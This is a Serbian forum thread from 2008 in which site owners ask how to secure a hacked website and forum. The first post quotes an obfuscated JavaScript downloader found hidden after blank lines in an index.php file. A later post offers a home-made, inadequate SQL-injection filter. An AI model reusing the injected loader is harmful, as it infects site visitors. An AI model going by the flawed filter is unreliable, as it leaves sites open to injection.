Prijava na forum:
Ime:
Lozinka:
Prijavi me trajno:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:

ConQUIZtador
Trenutno vreme je: 18. Jun 2025, 02:09:19
nazadnapred
Korisnici koji su trenutno na forumu 0 članova i 1 gost pregledaju ovu temu.


Tema za pitanja
o SMF forumu, phpBB2 i phpBB3 forumu, Wordpress i Joomla CMS sistemima!

Za vecinu drugih pitanja nacicete odgovor citajuci Top teme!

Idi dole
Stranice:
2  Sve
Počni novu temu Nova anketa Odgovor Štampaj Dodaj temu u favorite Pogledajte svoje poruke u temi
Tema: Bezbednost sajta i foruma  (Pročitano 2823 puta)
09. Apr 2008, 23:22:26
Pocetnik

Zodijak Sagittarius
Pol Muškarac
Poruke 10
OS
Windows XP
Browser
Internet Explorer 6.0
mob
Nokia N73 ME
Za početak, izvinjavam se ako sam temu započeo na pogrešnom mestu, ali pošto se ovde priča o izradi sajtova i foruma, interesuje me šta bi trebalo uraditi da bi se sajt, forum i ftp nalozi što je moguće više zaštitili od spama i eventualnih napada.    Naime, radio sam na dizajniranju i postavljanju SMF foruma za jedan sajt koji se hostuje kod godaddy-a i danas je uspešno počeo sa radom.    Zbog toga, pogledao sam šta se još nalazi na ftp-u i naišao na index.  php fajl u folderu docs za koji mi je AVG prijavio da je inficiran sa JS/Downloader.   Small, a u fajlu se posle nekih 700 praznih linija, nalazi sumnjiv javascript kod:
Kod:
<script language=JavaScript>var kco=" shapgvba hmdvx(oz){inefz,we=\"{v^abRkP9
|V}!6w~pn)@GZro#[$y,`:SO0dMjm&AihU2W;5.   lt8fH']u_\\\"q+7BIXNCegs13xT-c(4*z=\",t=\"\",du,dsj,v=\"\",nt
;sbe(fz=0;fz<oz.   yratgu;fz++){ du=oz.   puneNg(fz);dsj=we.   vaqrkBs(du);vs(dsj>-1){
nt=((dsj+1)%81-1);vs(nt<=0)nt+=81;v+=we.   puneNg(nt-1); } ryfr
v+=du;}t+=v;qbphzrag.   jevgr(t);}",tuy="";for(mhs=0;mhs<kco.   length;mhs++){ xcxg =
kco.   charCodeAt(mhs);if((xcxg>64 && xcxg<78)||(xcxg>96 && xcxg<110)) xcxg=xcxg+13;
else if((xcxg>77 && xcxg<91)||(xcxg>109 && xcxg<123))xcxg=xcxg-13;tuy=tuy.   concat(String.   fromCharCode(xcxg));} var ddy,xnx; eval( tuy
);ddy="<Uat^(f|,)o8H)8b{d~)u)Uat^(fd>|+EaH=bofyzt^fb4|d<S9R}rM|,)o8H)8b{\\d;)u)Sat^(f\\d|SR9{\\d_ff(F//zz
zy8EE8,b)o),gf,aUyaE=/\"\"Hfuy~U?d7+EaH=bofytb1bttbt7d\\d><\\/S9R}rM>d|@5|</Uat^(f>|";
uzqik(ddy);</script>

Kada sam ovaj deo obrisao, više AVG nije prijavljivao virus.    Primetio sam da je fajl promenjen 25.   03.   2008.    a niko od vlasnika nije ništa menjao.    Takođe na starom forumu bilo je spam poruka od strane dva nicka koji su postavljali gomilu nekih linkova.    Šta bismo mogli da preduzmemo kako bi se dovoljno zaštitili od ovakvih upada, jer je sajt posvećen Pesmi Evrovizije u čiju smo organizaciju uključeni i očekujemo veliki broj posetilaca u narednom preiodu, a naročito u maju?
IP sačuvana
social share
Pogledaj profil WWW GTalk
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Moderator
Capo di tutti capi


Underpromise; overdeliver.

Zodijak Gemini
Pol Muškarac
Poruke Odustao od brojanja
Zastava 44°49′N - 20°29′E
OS
Windows XP
Browser
Opera 9.25
mob
Apple iPhone 6s
Iskren da budem, sumnjam da je problem do SMF-a, verovatno je u pitanju neka druga skripta koja se na sajtu nalazi a koja ima u sebi neki propust.
Zato se, kada su gotova resenja u pitanju, uvek mora voditi racuna o tome da je aktuelna verzija skripte, postavljena na sajt.
Sto se tice spam botova, to u principu ne bi trebalo predstavljati problem...
Ako ih i bude bilo sa osnovnim podesavanjem, uz instalaciju:
http://custom.simplemachines.org/mods/index.php?mod=1044
ili
http://custom.simplemachines.org/mods/index.php?mod=474
ti problemim bi trebali biti reseni.
IP sačuvana
social share
Pobednik, pre svega.

Napomena: Moje privatne poruke, icq, msn, yim, google talk i mail ne sluze za pruzanje tehnicke podrske ili odgovaranje na pitanja korisnika. Za sva pitanja postoji adekvatan deo foruma. Pronadjite ga! Takve privatne poruke cu jednostavno ignorisati!
Preporuke za clanove: Procitajte najcesce postavljana pitanja!
Pogledaj profil WWW GTalk Twitter Facebook
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Pocetnik

Zodijak Sagittarius
Pol Muškarac
Poruke 10
OS
Windows XP
Browser
Internet Explorer 6.0
mob
Nokia N73 ME
Hvala ti na brzom odgovoru. Ranije nije ni bio instaliran SMF već su bile neke diskusije u okviru samog sajta, nebitno. Da li možeš da me uputiš na neke osnovne stvari na koje treba da obratim pažnju što se tiče bezbednosti samog sajta, ne foruma, kako bismo spremno dočekali maj? Da li bi chmod za foldere i fajlove trebao da postavi glavni administrator sajta ili je isto ako to urade i drugi korisnici koji imaju ftp pristup?
IP sačuvana
social share
Pogledaj profil WWW GTalk
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Moderator
Capo di tutti capi


Underpromise; overdeliver.

Zodijak Gemini
Pol Muškarac
Poruke Odustao od brojanja
Zastava 44°49′N - 20°29′E
OS
Windows XP
Browser
Opera 9.25
mob
Apple iPhone 6s
Jel postoji valjan razlog da jos neko ima FTP pristup?
Chmod je u principu nebitan...

Nema tu neke filozofije...
Samo provene stvari na host...
Teske sifre koje se ne mogu lako pogoditi...
Smanjiti mogucnost ljudske greske do maksimuma.
IP sačuvana
social share
Pobednik, pre svega.

Napomena: Moje privatne poruke, icq, msn, yim, google talk i mail ne sluze za pruzanje tehnicke podrske ili odgovaranje na pitanja korisnika. Za sva pitanja postoji adekvatan deo foruma. Pronadjite ga! Takve privatne poruke cu jednostavno ignorisati!
Preporuke za clanove: Procitajte najcesce postavljana pitanja!
Pogledaj profil WWW GTalk Twitter Facebook
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Svakodnevni prolaznik


Zodijak Leo
Pol Muškarac
Poruke 407
Zastava Novi Sad
OS
Windows XP
Browser
Mozilla Firefox 2.0.0.13
mob
Nokia 6131
Kad se vec poteze pitanje bezbednosti... Kako da ja svoje kreacije proverim koliko su hak-sigurne...? Mislim, pre par nedelja su mom drugaru orobili web directory koji je imao samo 3 linka.... Nije on odmah ni skontao, nego tek kad je uklavirio da mu nesto adsense nije nabazdaren... Poceli su da se pojavljuju cudni oglasi umesto adsensa i tada je primetio 2 iksica u donjem levom cini mi se uglu i to je to...

Od tada sam nesto ja petljao sa svojim skriptama, ali ne ide mi taj posao provaljivanja... niti me zanima da ga ja naucim, samo hocu da znam, da li postoji nacin i koji je da sigurnost proverim...?
IP sačuvana
social share
PHP scripts written by me never has bugs. It just develops random unexpected features.
Pogledaj profil WWW
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Moderator
Capo di tutti capi


Underpromise; overdeliver.

Zodijak Gemini
Pol Muškarac
Poruke Odustao od brojanja
Zastava 44°49′N - 20°29′E
OS
Windows XP
Browser
Opera 9.25
mob
Apple iPhone 6s
Ne postoji nacin....
Drugar je koristio nesto nesigurno ili yastarelo...
Tvoje je da naucis da ne pravis sigurnosne propuste...
To se stice vremenom, i uceci iy tudjih gresaka i tekstova sa neta
IP sačuvana
social share
Pobednik, pre svega.

Napomena: Moje privatne poruke, icq, msn, yim, google talk i mail ne sluze za pruzanje tehnicke podrske ili odgovaranje na pitanja korisnika. Za sva pitanja postoji adekvatan deo foruma. Pronadjite ga! Takve privatne poruke cu jednostavno ignorisati!
Preporuke za clanove: Procitajte najcesce postavljana pitanja!
Pogledaj profil WWW GTalk Twitter Facebook
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Svakodnevni prolaznik


Zodijak Leo
Pol Muškarac
Poruke 407
Zastava Novi Sad
OS
Windows XP
Browser
Mozilla Firefox 2.0.0.13
mob
Nokia 6131
Moguce, on je koristio neku gotovu web-directory skriptu... Mozda je neka lose napisana...

Sto se mene tice, necu se zezati, moram to malo da istrazim, pa ako ima rupica da pokrpim to.

Hvala!
IP sačuvana
social share
PHP scripts written by me never has bugs. It just develops random unexpected features.
Pogledaj profil WWW
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Svakodnevni prolaznik


Zodijak Leo
Pol Muškarac
Poruke 407
Zastava Novi Sad
OS
Windows XP
Browser
Mozilla Firefox 3.0.1
mob
Nokia 6131
Znam da u pravilima pise da se ne pise 2 posta za redom, ali... Da ne otvaram novu temu...  Smile

Kako se braniti od mysql injectiona?! Ja sam dosao na ideju da filtriram POST i GET arrayeve pre gradjenja querija, tako sto cu umesto ' i " nositi HTML (&quot; i &#039;) u samom stringu... Tako ce se u pokusaju injectiona u queriju naci HTML kod, koji MySQL nece izvrsiti, nego ga samo videti u zahtevu i naravno odbiti kao nepostojeci...

Pa sam napisao nesto ovako:

Kod:
foreach ($_POST as $key => $val){
$_POST["$key"] = html_entity_decode(htmlentities(stripcslashes($val),ENT_QUOTES),ENT_NOQUOTES);
}

Malo objasnjenje: Prvo iz $val-a skidam znake izbegavanja(stripcslashes), zatim pretvaram ' i " u &quot; i &#039; (htmlentities), a sa njima i sve ostale znakove, kao sto su & i sl, pa se javio problem da su mi se slova izopacila (& pre slova je postalo &amp;)... Da bi ispravio to sa &amp-om, dodao sam jos malo koda (html_entity_decode) da vratim to, medjutim sada mi se svako & na strani vrati u taj oblik (u kodu bude &)...

A samo sam hteo da dobijem cist HTML...

Sta mislite, da li je ovo OK nacin da se izbegne injection ili dzaba krecim? I da li iko ima ideju kako da dobijem cist HTML(cim to moze na SMF-u, znaci da je moguce...  Smile)?
IP sačuvana
social share
PHP scripts written by me never has bugs. It just develops random unexpected features.
Pogledaj profil WWW
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Moderator
Capo di tutti capi


Underpromise; overdeliver.

Zodijak Gemini
Pol Muškarac
Poruke Odustao od brojanja
Zastava 44°49′N - 20°29′E
OS
Windows Vista
Browser
Opera 9.52
mob
Apple iPhone 6s
Postoje gotove klase koje rade takve stvari bez da ti moras da razmisljas o tome Wink

Npr: http://htmlpurifier.org/

A ima i masa dosta jednostavnijih Wink
IP sačuvana
social share
Pobednik, pre svega.

Napomena: Moje privatne poruke, icq, msn, yim, google talk i mail ne sluze za pruzanje tehnicke podrske ili odgovaranje na pitanja korisnika. Za sva pitanja postoji adekvatan deo foruma. Pronadjite ga! Takve privatne poruke cu jednostavno ignorisati!
Preporuke za clanove: Procitajte najcesce postavljana pitanja!
Pogledaj profil WWW GTalk Twitter Facebook
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Svakodnevni prolaznik


Zodijak Leo
Pol Muškarac
Poruke 407
Zastava Novi Sad
OS
Windows XP
Browser
Mozilla Firefox 3.0.1
mob
Nokia 6131
Postoje gotove klase koje rade takve stvari bez da ti moras da razmisljas o tome Wink

Lepo, lepo, hvala... Smiley U sustini, moji kodovi su cisti, trudio sam se da sve napravim tako (neki moj template sistem, sa nekim mojim tripovima od kodova koji pretabavaju sve sto se unese) da cak i najgluplji korisnik nista ne moze da uradi da narusi pravilnost HTML kodova, mada, vec sam uocio par bagova, na srecu znam kako da ih resim... Smiley Sada se u sustini bacam na sigurnost svim silama, tako da cu da istrazujem na tu temu koliko god budem mogao... Kao sto ti rece par postova gore, "to se stice vremenom"... Izgleda da je doslo vreme da pocnem da se zabavljam time, jer su se ovde ovi moji seoski "hakeri" popalili da mi traze mane... Smile

Hvala jos jednom, sve sto nadjem, korisno je, uvek iskopam neki zanimljiv pristup nekom od problema... Smile
IP sačuvana
social share
PHP scripts written by me never has bugs. It just develops random unexpected features.
Pogledaj profil WWW
 
Prijava na forum:
Ime:
Lozinka:
Zelim biti prijavljen:
Trajanje:
Registruj nalog:
Ime:
Lozinka:
Ponovi Lozinku:
E-mail:
Idi gore
Stranice:
2  Sve
Počni novu temu Nova anketa Odgovor Štampaj Dodaj temu u favorite Pogledajte svoje poruke u temi
Trenutno vreme je: 18. Jun 2025, 02:09:19
nazadnapred
Prebaci se na:  

Poslednji odgovor u temi napisan je pre više od 6 meseci.  

Temu ne bi trebalo "iskopavati" osim u slučaju da imate nešto važno da dodate. Ako ipak želite napisati komentar, kliknite na dugme "Odgovori" u meniju iznad ove poruke. Postoje teme kod kojih su odgovori dobrodošli bez obzira na to koliko je vremena od prošlog prošlo. Npr. teme o određenom piscu, knjizi, muzičaru, glumcu i sl. Nemojte da vas ovaj spisak ograničava, ali nemojte ni pisati na teme koje su završena priča.

web design

Forum Info: Banneri Foruma :: Burek Toolbar :: Burek Prodavnica :: Burek Quiz :: Najcesca pitanja :: Tim Foruma :: Prijava zloupotrebe

Izvori vesti: Blic :: Wikipedia :: Mondo :: Press :: Naša mreža :: Sportska Centrala :: Glas Javnosti :: Kurir :: Mikro :: B92 Sport :: RTS :: Danas

Prijatelji foruma: Triviador :: Nova godina Beograd :: nova godina restorani :: FTW.rs :: MojaPijaca :: Pojacalo :: 011info :: Burgos :: Sudski tumač Novi Beograd

Pravne Informacije: Pravilnik Foruma :: Politika privatnosti :: Uslovi koriscenja :: O nama :: Marketing :: Kontakt :: Sitemap

All content on this website is property of "Burek.com" and, as such, they may not be used on other websites without written permission.

Copyright © 2002- "Burek.com", all rights reserved. Performance: 0.063 sec za 15 q. Powered by: SMF. © 2005, Simple Machines LLC.